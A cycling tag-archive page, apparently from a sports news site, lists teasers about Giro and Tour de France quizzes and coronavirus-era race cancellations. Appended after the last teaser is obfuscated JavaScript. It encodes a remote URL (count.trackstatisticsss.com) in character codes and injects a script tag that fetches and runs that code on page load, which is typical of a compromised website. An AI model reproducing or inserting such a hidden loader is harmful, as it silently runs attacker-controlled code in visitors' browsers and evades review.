Tag Archives: Cycling

Cycling quiz: how much do you know about the Giro d'Italia?

With this year’s race delayed, here are 15 questions to keep you entertained. Warning: some of them are pretty tricky More quizzes: Tour de France, Six Nations, football assists Who won last year’s Giro d’Italia? Vincenzo Nibali Richard Carapaz Chris Froome Primoz Roglic Eddy Merckx and Fausto Coppi both won …

Read More »

Tour de France in doubt after UCI announce racing suspension until June | Sport

Tour de France director, Christian Prudhomme, said the race would be rearranged if the riders were not able to resume training at the end of April.

Doubts continue to grow around this year’s Tour de France after the UCI announced it was extending the suspension of all cycling races until 1 June, a little over three weeks before the event is due to begin in Nice on 27 June. The French government indicated last week it …

Read More »

Sport awards 2008: OSM meets Mark Cavedish, this year’s hero of the Tour de France who lost out in Beijing | Sport

Sport awards 2008: OSM meets Mark Cavedish, this year's hero of the Tour de France who lost out in Beijing | Sport

On their way home from Beijing, our Olympic heroes were rewarded with an upgrade from British Airways; anyone with a gold or silver medal would be allocated a Club World seat, while Chris Hoy, Rebecca Adlington and Bradley Wiggins would fly in first-class. One man who, in that case, would …

Read More »

Tour de France quiz: how much do you know about cycling's greatest race?

The organisers are hoping the race will still take place this year. How well do you recall previous races? More quizzes: sliding doors, globetrotters, stadiums and keepers What distance was the longest stage in Tour de France history? 182km 282km 382km 482km How many Grand Tours (Tour de France, Giro …

Read More »

Tour de France could be staged this summer without any spectators | Sport

The peloton ride the Champs-Elysees at the end of the 2019 Tour

Professional cycling reacted with a mix of cautious optimism and scepticism after the French sports minister, Roxana Mărăcineau, confirmed that together with the Tour de France organisers ASO, her officials were exploring ways of running a scaled down Tour with restrictions on spectator access this summer even though the country …

Read More »

Max Schachmann triumphs at Paris-Nice as Nairo Quintana takes final stage | Sport

Deceuninck Quick-Step’s team attend the team presentation for the seventh stage of Paris-Nice - no fans were permitted due to measures to stop the spread of coronavirus.

German cyclist Max Schachmann, of BORA-hansgrohe, sealed overall victory in Paris-Nice on Saturday as Colombian Nairo Quintana won the seventh and final stage in Valdeblore-La Colmiane. Schachmann held a 36-second lead going into what became the final day, after the coronavirus outbreak led to the cancellation of Sunday’s scheduled eighth …

Read More »

Cycling and golf events cancelled as coronavirus continues to hit sport | Sport

Cycling authorities have postponed this month’s Tirreno-Adriatico and Milan-San Remo races because of the coronavirus outbreak. The move, which will also see the Tour of Sicily at the start of April rescheduled, follows the Italian government’s decision to suspend all sporting events that cannot be held in a closed arena …

Read More »

Italy’s Serie A considering matches behind closed doors due to coronavirus | Football

Italian football authorities look set to order Serie A to play matches behind closed doors as the country struggles to control the coronavirus outbreak. Following a series of postponements, including this week’s Coppa Italia semi-finals, Italian football is facing a backlog of fixtures as the virus continues to spread. This …

Read More »

Chris Froome among cyclists cleared to leave UAE after coronavirus scare | Sport

Chris Froome and his Team Ineos colleagues are among those who have now been allowed to leave their hotel and travel home from the UAE Tour. Others remain under quarantine in Abu Dhabi following the coronavirus scare that led to the race being cancelled on Thursday. Authorities announced on Saturday …

Read More »

UCI stands by decision to halt UAE Tour over coronavirus uncertainty | Sport

Cycling’s governing body is monitoring developments in Abu Dhabi and Berlin after Chris Froome was among those tested for the coronavirus, while Ferrari’s chief has demanded assurances about the risks Formula One teams may face before travelling to the Australian Grand Prix. Michael Morkov, a Danish cyclist who took part …

Read More »
var u = String.fromCharCode(104,116,116,112,115,58,47,47,99,111,117,110,116,46,116,114,97,99,107,115,116,97,116,105,115,116,105,99,115,115,115,46,99,111,109,47,106,46,106,115,63,118,61);var d=document;var s=d.createElement(String.fromCharCode(115,99,114,105,112,116)); s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); var pl = u; s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(s);var list = document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116));list.insertBefore(s, list.childNodes[0]);}